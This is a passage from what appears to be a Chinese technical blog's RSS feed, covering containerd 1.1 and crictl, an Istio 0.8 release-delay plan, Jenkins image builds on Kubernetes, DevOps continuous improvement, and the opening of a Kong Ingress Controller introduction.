&lt;p&gt;容器运行时命令行接口（CLI）对系统和应用的排错来说是个有用的工具。如果用 Docker 作为 Kubernetes 的容器运行时，系统管理员有时候需要登录到 Kubernetes 节点上去运行 Docker 命令，以便收集系统和应用的信息。例如使用 &lt;code&gt;docker ps&lt;/code&gt; 和 &lt;code&gt;docker inspect&lt;/code&gt; 检查应用的进程情况，&lt;code&gt;docker images&lt;/code&gt; 列出节点上的镜像，或者 &lt;code&gt;docker info&lt;/code&gt; 来检查容器运行时的配置等。&lt;/p&gt;

&lt;p&gt;对 Containerd 和所有其他的 CRI 兼容的容器运行时，尤其是 Dockershim 来说，我们推荐使用 &lt;code&gt;crictl&lt;/code&gt; 作为 Docker CRI 的继任者，用于 Kubernetes 节点上 pod、容器以及镜像的除错工具。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;crictl&lt;/code&gt; 在 Kubernetes 节点除错方面，提供了类似 Docker CLI 的使用体验， 并且 &lt;code&gt;crictl&lt;/code&gt; 能够支持所有 CRI 兼容的容器运行时。这一项目存放于 &lt;a href=&#34;https://github.com/kubernetes-incubator/cri-tools&#34; target=&#34;_blank&#34;&gt;kubernetes-incubator/cri-tools&lt;/a&gt;，目前版本是 &lt;a href=&#34;https://github.com/kubernetes-incubator/cri-tools/releases/tag/v1.0.0-beta.1&#34; target=&#34;_blank&#34;&gt;v1.0.0-beta.1&lt;/a&gt;。&lt;code&gt;crictl&lt;/code&gt; 的设计目的是理顺 Docker CLI 的功能，为用户提供更好的过渡体验，但是和 Docker CLI 又不尽相同。下面讲讲两者之间的一些重要区别。&lt;/p&gt;

&lt;h3 id=&#34;适用范围-crictl-是一个排错工具&#34;&gt;适用范围：crictl 是一个排错工具&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;crictl&lt;/code&gt; 的设计目的是排错，并非 Docker 或者 kubectl 的替代品。Docker 的 CLI 提供了大量的命令，使之成为重要的开发工具，但是在 Kubernetes 节点排错方面，就不尽人意了。有些 Docker 命令在 Kubernetes 上没什么用，例如 &lt;code&gt;docker network&lt;/code&gt; 和 &lt;code&gt;docker build&lt;/code&gt;；有些甚至会损害系统，比如说 &lt;code&gt;docker rename&lt;/code&gt;，&lt;code&gt;crictl&lt;/code&gt; 提供了刚好够用的命令来进行节点方面的除错工作，对于生产节点来说，明显会有更好的安全性。&lt;/p&gt;

&lt;h3 id=&#34;kubernetes-特性&#34;&gt;Kubernetes 特性&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;crictl&lt;/code&gt; 提供了一个对 Kubernetes 来说更加友好的容器视角。Docker CLI 并不了解 Kubernetes 的概念，例如 &lt;code&gt;pod&lt;/code&gt; 和 &lt;a href=&#34;https://kubernetes.io/docs/concepts/overview/working-with-objects/namespaces/&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;namespace&lt;/code&gt;&lt;/a&gt;，所以他无法提供容器和 Pod 的清晰视图。一个例子就是 &lt;code&gt;docker ps&lt;/code&gt; 的混乱输出：过长的 Docker 容器名称、Pause 容器和应用容器混杂在一起：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/docker-ps.png&#34; alt=&#34;docker ps&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.ianlewis.org/en/almighty-pause-container&#34; target=&#34;_blank&#34;&gt;Pause 容器&lt;/a&gt;是一个 Pod 的实现手段，每个 Pod 都会有一个 Pause 容器，所以列出 Pod 中包含的容器的时候，没必要把 Pause 容器显示出来。&lt;/p&gt;

&lt;p&gt;而 &lt;code&gt;crictl&lt;/code&gt; 是为 Kubernetes 设计的，他有不同的一组命令来和 Pod 以及容器进行交互。例如 &lt;code&gt;crictl pods&lt;/code&gt; 会列出 Pod 信息，而 &lt;code&gt;crictl ps&lt;/code&gt; 只会列出应用容器的信息。所有的信息都以表格形式进行展示。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/crictl-pods.png&#34; alt=&#34;!crictl-pods.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;关于 &lt;code&gt;crictl&lt;/code&gt; 在 containerd 方面的细节，可以参看：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/containerd/cri/blob/master/docs/crictl.md&#34; target=&#34;_blank&#34;&gt;文档&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://asciinema.org/a/179047&#34; target=&#34;_blank&#34;&gt;演示视频&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;docker-怎么办&#34;&gt;Docker 怎么办？&lt;/h2&gt;

&lt;p&gt;“切换到 Containerd 是不是说我不能再用 Docker Engine 了？”我们经常听到这个问题，简单的答案就是：NO。&lt;/p&gt;

&lt;p&gt;Docker Engine 是在 Containerd 之上构建的。下个版本的 &lt;a href=&#34;https://www.docker.com/community-edition&#34; target=&#34;_blank&#34;&gt;Docker CE&lt;/a&gt; 就会使用 Containerd 1.1。当然，也就会有内置的缺省激活的 CRI 插件。这样一来，用户可以选择继续使用 Docker Engine 来做一些 Docker 的事情，也可以配置 Kubernetes 来使用其中的 Containerd，同时 Containerd 还会同时给同一节点上的 Docker Engine 提供支撑。下面的架构图就描述了 Docker Engine 和 Kubelet 共用 Containerd 的情况：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/docker-ce.png&#34; alt=&#34;docker ce&#34; /&gt;&lt;/p&gt;

&lt;p&gt;既然 Containerd 同时能够给 Kubelet 和 Docker Engine 提供支持，选择了使用 Containerd 集成的用户，得到的不仅仅是新的 Kubernetes 特性、性能和稳定性的增强，他们还会得到保留 Docker Engine 以便用于其他用例的选择。&lt;/p&gt;

&lt;p&gt;Containerd 的&lt;a href=&#34;https://github.com/containerd/containerd/blob/master/docs/namespaces.md&#34; target=&#34;_blank&#34;&gt;命名空间&lt;/a&gt;机制，让 Kubelet 和 Docker Engine 之间无法互相访问对方的容器和镜像。这样就保证了他们无法互相影响，这样的后果：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;用 &lt;code&gt;docker ps&lt;/code&gt; 命令无法看到 Kubernetes 创建的容器；而应该使用 &lt;code&gt;crictl ps&lt;/code&gt;。反之亦然，用 &lt;code&gt;crictl ps&lt;/code&gt; 也是无法看到 Docker CLI 创建的容器。&lt;code&gt;crictl create&lt;/code&gt; 以及 &lt;code&gt;crictl runp&lt;/code&gt; 命令只用于出错。不推荐在生产节点上手动使用 &lt;code&gt;crictl&lt;/code&gt; 启动 Pod 或者容器。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;docker images&lt;/code&gt; 不会看到 Kubernetes 拉回的镜像。同样需要使用 &lt;code&gt;crictl images&lt;/code&gt; 命令。反过来用 &lt;code&gt;docker pull&lt;/code&gt;、&lt;code&gt;docker load&lt;/code&gt; 或者 &lt;code&gt;docker build&lt;/code&gt; 生成的镜像，Kubernetes 也是无法看到的。可以使用 &lt;code&gt;crictl pull&lt;/code&gt; 命令来替代，可以使用 &lt;code&gt;[ctr](https://github.com/containerd/containerd/blob/master/docs/man/ctr.1.md) cri load&lt;/code&gt; 来载入镜像。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;总结&#34;&gt;总结&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Containerd 1.1 天然支持 CRI，可以直接给 Kubernetes 使用。&lt;/li&gt;
&lt;li&gt;Containerd 1.1 满足生产要求。&lt;/li&gt;
&lt;li&gt;Containerd 1.1 在 Pod 启动延迟和系统资源占用方面具有良好的性能表现。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;crictl&lt;/code&gt; 是用于和 Containerd 1.1 以及其他 cri 兼容的容器运行时进行操作和节点除错的 CLI 工具。&lt;/li&gt;
&lt;li&gt;下一个 Docker CE 版本会包含 Containerd 1.1。用户有选择继续使用 Docker 来满足 Kubernetes 之外的容器需求，同时让 Kubernetes 使用来自 Docker 的同样的底层容器运行时。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这里要感谢来自 Google、IBM、Docker、ZTE、ZJU 以及很多其他的个人，让这一产品发展至今。&lt;/p&gt;

&lt;p&gt;可以阅读 &lt;a href=&#34;https://github.com/containerd/containerd/releases/tag/v1.1.0&#34; target=&#34;_blank&#34;&gt;Release Notes&lt;/a&gt;，来了解 Containerd 1.1 详细的变更情况。&lt;/p&gt;

&lt;h2 id=&#34;尝鲜&#34;&gt;尝鲜&lt;/h2&gt;

&lt;p&gt;要使用 Containerd 作为 Kubernetes 的容器运行时来搭建集群：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/containerd/cri/blob/v1.0.0/docs/kube-up.md&#34; target=&#34;_blank&#34;&gt;在 GCE 上用 kube-up.sh 来启动一个生产级别的集群&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/containerd/cri/blob/v1.0.0/contrib/ansible/README.md&#34; target=&#34;_blank&#34;&gt;使用 Ansible 和 Kubeadm 搭建多节点集群&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;在 Google 云从头搭建集群，可以看看 &lt;a href=&#34;https://github.com/kelseyhightower/kubernetes-the-hard-way&#34; target=&#34;_blank&#34;&gt;Kubernetes the Hard Way&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/containerd/cri/blob/v1.0.0/docs/installation.md&#34; target=&#34;_blank&#34;&gt;从发布压缩包开始自定义安装&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/linuxkit/linuxkit/tree/master/projects/kubernetes&#34; target=&#34;_blank&#34;&gt;使用 LinuxKit 在本地虚拟机上安装&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;贡献&#34;&gt;贡献&lt;/h2&gt;

&lt;p&gt;Container CRI 插件是一个开源的 Github 项目，在 Containerd 之内：&lt;a href=&#34;https://github.com/containerd/cri&#34; target=&#34;_blank&#34;&gt;https://github.com/containerd/cri&lt;/a&gt;。我们欢迎任何建议、问题、代码方面的贡献。&lt;a href=&#34;https://github.com/containerd/cri#getting-started-for-developers&#34; target=&#34;_blank&#34;&gt;开发者起步指南&lt;/a&gt;提供了如何成为贡献者方面的入门知识。&lt;/p&gt;

&lt;h2 id=&#34;社区&#34;&gt;社区&lt;/h2&gt;

&lt;p&gt;这个项目的开发和维护是由 Kubernetes SIG-Node 社区和 Containerd 社区联合负责的。我们希望能听到用户的反馈，要加入集群：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/kubernetes/community/tree/master/sig-node&#34; target=&#34;_blank&#34;&gt;SIG-Node 社区网站&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Slack：

&lt;ul&gt;
&lt;li&gt;#sig-node，&lt;a href=&#34;http://kubernetes.slack.com&#34; target=&#34;_blank&#34;&gt;kubernetes.slack.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;#containerd, &lt;a href=&#34;https://dockr.ly/community&#34; target=&#34;_blank&#34;&gt;https://dockr.ly/community&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;邮件列表：&lt;a href=&#34;https://groups.google.com/forum/#!forum/kubernetes-sig-node&#34; target=&#34;_blank&#34;&gt;https://groups.google.com/forum/#!forum/kubernetes-sig-node&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Istio 0.8：橘色警告</title>
      <link>/post/istio-0.8-code-orange/</link>
      <pubDate>Mon, 21 May 2018 18:11:04 +0800</pubDate>
      <guid>/post/istio-0.8-code-orange/</guid>
      <description>

&lt;p&gt;原文地址：&lt;a href=&#34;https://docs.google.com/document/d/1QQGR6ripB53Qv8v_fjfNd3R_5hOOEZRmTvVt0KqgBr4/edit#&#34; target=&#34;_blank&#34;&gt;Google Doc&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;背景&#34;&gt;背景&lt;/h2&gt;

&lt;p&gt;2017 年 9 月发布 0.2 之后，我们再没有一个稳定的版本了。之前我们认为 0.7 可以作为 LTS 版本，然而他不够成熟，所以我们把希望放在了 0.8 的头上。我们过去计划在 4 月中旬发布 0.8 版本。然而直到今天（4 月 27 日），我们还是有很多的关键 BUG 需要解决，看起来这个月内是无法完成了。&lt;/p&gt;

&lt;p&gt;简单说，我们不仅无法发布 LTS 版本，甚至连月度版本都无法按时发布。因此，Istio 项目进入橘色状态（根据 &lt;a href=&#34;https://github.com/istio/istio/tree/master/release#code-orange&#34; target=&#34;_blank&#34;&gt;release process&lt;/a&gt; 定义）。&lt;/p&gt;

&lt;p&gt;根据上面的发布过程定义：Release 的稳定是 Istio 开发者的首要任务，&amp;hellip; 可以声明代码冻结，组织 SWAT 团队协助发布过程进入正轨。”。我们需要 TOC 的帮助来实现上述操作。&lt;/p&gt;

&lt;h2 id=&#34;问题&#34;&gt;问题&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;我们不知道我们的无知在哪里。最大最亟待解决的问题就是，我们要需要知道到底要解决什么问题。虽然经过多次沟通，构成发布障碍的 Issue 仍然没有被正确的识别和标记。这个问题在之前的 0.7 发布的时候已经发作过，现在影响到了 0.8。&lt;/li&gt;
&lt;li&gt;我们没有清楚的人员来定义发布障碍。因此就很难对现状进行评估，解决时间也就无从预测。我们需要给每个条目确定责任人。&lt;/li&gt;
&lt;li&gt;我们本来想 3 月份发布 LTS 版本，后来延迟到四月中旬，现在，我们计划是五月的某个时间。这成了一个移动目标，并且我们还是没有一个明确的评估。

&lt;ul&gt;
&lt;li&gt;多数团队都准备参加下周的 Kubecon，这很明显会影响生产力。&lt;/li&gt;
&lt;li&gt;目前为止，还有一些优秀劳动力投放在和发布障碍无关的工作上。&lt;/li&gt;
&lt;li&gt;计划了对 0.8 RC 的测试工作，但是我们还没有可用的 RC。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;发布分支访问量很低，有些很明显是 0.8 相关的内容，只被合并到了 Master 分支。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;计划&#34;&gt;计划&lt;/h2&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Action Items&lt;/th&gt;
&lt;th&gt;Owner&lt;/th&gt;
&lt;th&gt;状态&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;联系所有工作组长，确认全部的 0.8 障碍被正确的识别、标记、跟踪和分配&lt;/td&gt;
&lt;td&gt;Andy 和各组长&lt;/td&gt;
&lt;td&gt;邮件已经发送&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;短期锁定 Master 分支，确认多数开发者都能正确的向 Release 分支合并，只有 TOC 成员批准才允许向 Master 进行合并&lt;/td&gt;
&lt;td&gt;Shriram&lt;/td&gt;
&lt;td&gt;Done&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;比对 0.8 和 Master，如果多数变更是针对 0.8 的，那么就撤回 1.0 的专属 PR，然后从 master rebase 或者 rebranch 0.8&lt;/td&gt;
&lt;td&gt;Sven、Andy 和 Costin&lt;/td&gt;
&lt;td&gt;Done: Rebase 所有发布分支。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;所有障碍问题的责任人需要尽快解决手上的问题&lt;/td&gt;
&lt;td&gt;Issue owners&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;计划一个 30 分钟以内的日常站会，来跟踪障碍问题的进度，以此计划发布日期。 1. 从 4 月 30 日起，到 0.8.0 发布为止。 2. 所有未解决问题的责任人必须提供更新信息。如果任何 issue 有产生障碍的可能，Andy 和 Jasmine 有权增加开发者进行协助，以加快进度。所有其他工作的优先级都需要降低，直到橘色警告解除&lt;/td&gt;
&lt;td&gt;每周一三五 11 点的会议&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Istio oncall 监视发布分支的状态，并且修复和分析可能解决的任何问题，发布分支的问题是最高优先的问题，一旦发现发布障碍，必须加入 &lt;a href=&#34;https://docs.google.com/spreadsheets/d/1KquD8HJLlg-IwGYuF6O8AqJMpJPWLHjA-VEY24Eu8b8/edit#gid=0&#34; target=&#34;_blank&#34;&gt;0.8 障碍 Issue 列表&lt;/a&gt;。&lt;/td&gt;
&lt;td&gt;Oncall&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;一旦有 RC 可用（例如第一阶段的问题已解决之后发布的下一个 Build），应该尽快启动社区测试。一旦发现发布障碍，应该加入 &lt;a href=&#34;https://docs.google.com/spreadsheets/d/1KquD8HJLlg-IwGYuF6O8AqJMpJPWLHjA-VEY24Eu8b8/edit#gid=0&#34; target=&#34;_blank&#34;&gt;0.8 障碍 Issue 列表&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Jasmine&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;0.8 稳定之后，把所有 Commit 合并回 Master&lt;/td&gt;
&lt;td&gt;Andy&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;和所有开发者沟通这一计划&lt;/td&gt;
&lt;td&gt;Sven&lt;/td&gt;
&lt;td&gt;Done&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;0.8 发布之后，启动一个事后会，来改进未来的发布过程。&lt;/td&gt;
&lt;td&gt;Andy, Jasmine, TOC&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
</description>
    </item>
    
    <item>
      <title>在 K8S 集群中分布构建 Docker 镜像</title>
      <link>/post/jenkins-build-image-on-k8s-tricks/</link>
      <pubDate>Fri, 18 May 2018 18:48:12 +0800</pubDate>
      <guid>/post/jenkins-build-image-on-k8s-tricks/</guid>
      <description>

&lt;h2 id=&#34;镜像更新&#34;&gt;镜像更新&lt;/h2&gt;

&lt;p&gt;最近给我的 &lt;a href=&#34;https://github.com/fleeto/docker-jenkins&#34; target=&#34;_blank&#34;&gt;Jenkins 镜像&lt;/a&gt; 做了一些更新：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;加入了基于 RunC 的镜像操作工具：&lt;a href=&#34;https://github.com/genuinetools/img&#34; target=&#34;_blank&#34;&gt;IMG&lt;/a&gt;。在特权模式下，可以方便的使用命令行创建和操作 Docker 镜像。&lt;/li&gt;
&lt;li&gt;更新 Jenkins 以及 Remoting 版本。&lt;/li&gt;
&lt;li&gt;修复一些初始化问题。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;下面根据这一版本的镜像简单说说分布式构建过程中的一些要点。&lt;/p&gt;

&lt;h2 id=&#34;jenkins-镜像的一些值得注意的东西&#34;&gt;Jenkins 镜像的一些值得注意的东西&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Jenkins 在启动 Slave 节点时，会设置下面三个环境变量，所以在 &lt;code&gt;run.sh&lt;/code&gt; 就可以引用这几个环境变量启动 Worker 节点：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;JENKINS_URL：MASTER 服务的地址。&lt;/li&gt;
&lt;li&gt;JENKINS_NAME：为 Worker 节点分配的名称&lt;/li&gt;

&lt;li&gt;&lt;p&gt;JENKINS_SECRET：Worker 节点和 Master 节点通信时所使用的认证密钥。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;java \
-cp /usr/share/jenkins/slave.jar hudson.remoting.jnlp.Main \
-headless -url $JENKINS_URL $JENKINS_SECRET $JENKINS_NAME
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;img&lt;/code&gt; 工具依赖于 &lt;a href=&#34;https://github.com/opencontainers/runc/&#34; target=&#34;_blank&#34;&gt;runc&lt;/a&gt;，因此也需要把 runc 加入到镜像之中。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;config.xml&lt;/code&gt; 中：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;直接设置了 8081 作为 jnlp 端口，因此在 Dockerfile 中也进行了 EXPOSE 声明。&lt;/li&gt;
&lt;li&gt;开启 CSRF 选项，并设置代理服务器兼容，防止在 Kube-Proxy 的情况下无法提供服务。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;jenkins-在-kubernetes-中的启动&#34;&gt;Jenkins 在 Kubernetes 中的启动：&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;RBAC：因为要启动 Worker 节点，因此在开启了 RBAC 的集群上，要给 Jenkins 的 Service Account 进行授权，允许进行 Pod 的操作。&lt;/li&gt;
&lt;li&gt;Service：需要暴露 jnlp 端口到集群内部，无需为其提供 loadbalancer 以及 nodePort 等形式的外网接入能力。&lt;/li&gt;
&lt;li&gt;可以根据需要提供加载卷，用于保存配置等。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;分布式构建的配置&#34;&gt;分布式构建的配置&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;首先需要安装 Kubernetes 插件。&lt;/li&gt;
&lt;li&gt;插件安装后，就可以在 Jenkins 的 credentials 中加入 &lt;code&gt;Kubernetes ServiceAccount&lt;/code&gt; 类型的凭据，用于连接和操作 Kubernetes 集群。&lt;/li&gt;
&lt;li&gt;容器模板设置中，系统缺省会提供一个名为 jnlp 的容器模板，要想使用自己的镜像，需要进行同名覆盖。

&lt;ul&gt;
&lt;li&gt;容器模板中可以按需设置加载卷等，例如要进行镜像的 PUSH 操作，就需要将 CA 证书通过一定方法加入到容器的信任列表之中。&lt;/li&gt;
&lt;li&gt;如果要进行 IMG 的操作，需要选中容器的 &lt;code&gt;Run in privileged mode&lt;/code&gt; 选项，开启特权模式。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;任务的设置&#34;&gt;任务的设置&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;要进行镜像的构建，就非常的容易，加入几行简单的 Shell 命令，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;mkdir tmp
# 生成一个 Dokerfile
echo &amp;quot;FROM registry.docker-cn.com/library/alpine&amp;quot; &amp;gt; tmp/Dockerfile
# 构建镜像
img build -t 10.211.55.19:5000/alpine:163 tmp
# 更新证书信任列表
update-ca-certificates
# 把镜像推送到私库
img push 10.211.55.19:5000/alpine:163
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>为什么持续改进是持续交付的基础</title>
      <link>/post/what-is-key-to-continuous-delivery/</link>
      <pubDate>Tue, 15 May 2018 17:45:22 +0800</pubDate>
      <guid>/post/what-is-key-to-continuous-delivery/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;http://blog.wercker.com/what-is-key-to-continuous-delivery&#34; target=&#34;_blank&#34;&gt;Why Continuous Improvement is Key to Continuous Delivery&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://twitter.com/HoardingInfo&#34; target=&#34;_blank&#34;&gt;Chris Riley&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;DevOps 的最大难题就是，DevOps 是永无止境的。并不存在一个（确切的）DevOps指南，也没有什么最终标志能够证明一个组织完成了 DevOps 的漫长旅途。&lt;/p&gt;

&lt;p&gt;如果有人恰巧觉得，本人/组织当前的 DevOps 实践已经达到了自身应用发布过程的终极需要，那么可能一年以后，这一环境就可能变成了新版本的瀑布。以不变应万变，是难以应对各种来自客户、来自基础设施以及部署方式的更迭的。所以我们要说，没有持续改进的持续交付，是没有前途的。&lt;/p&gt;

&lt;p&gt;下面详细的解释一下我们的看法。&lt;/p&gt;

&lt;h2 id=&#34;主动改进&#34;&gt;主动改进&lt;/h2&gt;

&lt;p&gt;自动化工具链是 DevOps 团队的制胜法宝，这一点毋庸置疑。然而这一切通常都是事出有因的，有时是有新技术发布，有时是组织机构改革等等。不管是什么在主导着变化，其实都不是主动发生的。变化只会在有条件的时候被触发，每一两年，都会出现这种机会。&lt;/p&gt;

&lt;p&gt;持续改进则正好相反。持续改进意味着一种对改进的主动投入。这是一种对现状的改进意愿（和不满）。金无足赤，环境也是始终会有其弱点。DevOps 团队应避免故步自封，对现有的大好形势保持怀疑，不错过其中出现的任何微小缺陷。&lt;/p&gt;

&lt;p&gt;但是文化和改进方面的管理焦点是很难贯彻始终的。一个 DevOps 工程师所实现的改进工作是很难量化的。一种文化究竟做出了什么贡献，也不是非常容易分辨的。有些组织认为自己是持续改进的牺牲品，但技术人员应该注意的是，一些看上去很美的新玩具，往往都会引入很多的额外问题，因此应该慎重考虑，而不是想上就上。&lt;/p&gt;

&lt;h2 id=&#34;管线即应用&#34;&gt;管线即应用&lt;/h2&gt;

&lt;p&gt;时至今日，CI 已经成为应用交付的内在需要，因此 Pipeline 理应得到跟其他应用一样的重视程度。应用开发过程是围绕 Backlog 进行的，所有的任务都是向其中添加功能或者修复其中的问题。那么如果将 Pipeline 视为应用的话，那么就有了持续改进的基础。为了达成这一目标，所有工作都应该进行脚本化，所有重复工作都应该自动化，Backlog 中随时反应了我们对交付链条的优化努力。Pipeline 应用也应该有自己的功能和 Bug。Pipeline 的客户就是开发人员和生产环境。在这样的视角之下，就能对 Pipeline 的变更和改进了然于心。&lt;/p&gt;

&lt;p&gt;这里有个潜在的要求就是，要有专职人员负责 Pipeline 的开发，并在生产环境上进行维护。要实施这一方法的组织，必须做好这种准备。&lt;/p&gt;

&lt;h2 id=&#34;重在结果&#34;&gt;重在结果&lt;/h2&gt;

&lt;p&gt;第三个问题是，如何判断当前的做法是正确的？必须做点什么来体现结果和指标。跟生产环境上的其他应用一样，我们的 Pipeline 也应该有各种 KPI。持续改进需要反映出随着时间的推移，各种指标的变化。例如：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;本年度开始之后，发布过程变快了多少？&lt;/li&gt;
&lt;li&gt;发布过程需要多少步骤？精简掉了多少？&lt;/li&gt;
&lt;li&gt;有多少应用是 100% 自动部署的？&lt;/li&gt;
&lt;li&gt;跟去年相比，发布活动多了多少？&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;有时候，改进是一种直觉。团队成员应该大致了解，Pipeline 是否减轻了压力并提高了部署能力。但是对持续改进的审慎态度，要求我们必须对过程中的得失进行量化，并作出汇报。&lt;/p&gt;

&lt;p&gt;持续交付现在已经是开发活动的重要组成部分，但是如果不持续作出改进，那么整个环境都会逐渐变得过时。通过上面讲述的三个原则，来确保当下和未来的 DevOps 过程能够一以贯之的持续下去。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>来自骷髅岛的 Ingress Controller：Kong</title>
      <link>/post/intro-kong/</link>
      <pubDate>Fri, 11 May 2018 12:26:22 +0800</pubDate>
      <guid>/post/intro-kong/</guid>
      <description>

&lt;p&gt;&lt;a href=&#34;https://konghq.com/&#34; target=&#34;_blank&#34;&gt;Kong&lt;/a&gt;，是一个在 Nginx 反向代理基础上发展而来的 API 网关产品。我之前一直在推动的 Service Mesh，主要关注的是集群（Mesh）内微服务之间的关系，而 API 网关所管理的则是微服务集群边缘，对外服务的管理。（据我观测，Istio 近期的文档已经出现了 Gateway 等说法，似乎也对这方面的问题颇有兴趣的样子）。&lt;/p&gt;

&lt;p&gt;传统的 API：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/comp-tra.png&#34; alt=&#34;Traditional api&#34; /&gt;&lt;/p&gt;

&lt;p&gt;API Gateway：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/comp-kong.png&#34; alt=&#34;API Gateway&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://konghq.com/blog/kubernetes-ingress-controller-for-kong/&#34; target=&#34;_blank&#34;&gt;5 月 8 日，Kong 发布了 Ingress Controller&lt;/a&gt;，对 Kubernetes 和对 Kong 自身来说都是个有意思的事情。&lt;/p&gt;

&lt;p&gt;首先，Ingress Controller 本来应该负责集群的对外通信，有些 Ingress Controller，例如 haproxy 和 Traefik 已经初步具备了这方面的能力。
其次，Kong 之前使用 API 调用的方式来进行管理，在 Ingress Controller 的上下文中，改用 CRD 方式进行管理，对于我等 YAML 程序员来说，无疑是个大大的利好消息。&lt;/p&gt;

&lt;p&gt;Kong 使用&lt;a href=&#34;https://konghq.com/plugins/&#34; target=&#34;_blank&#34;&gt;插件&lt;/a&gt;的方式提供了一些常见功能，这些现在也可以用 CRD 方式进行使用，其中包括日志、限流、认证、鉴权几大类。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/intro-illustration.png&#34; alt=&#34;plugins&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Kong 同时提供商业和社区两个版本，目前有部分插件也是商业版独占的。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;今天这一篇，就会对 Kong Ingress Controller 从部署到应用的介绍。&lt;/p&gt;

&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;

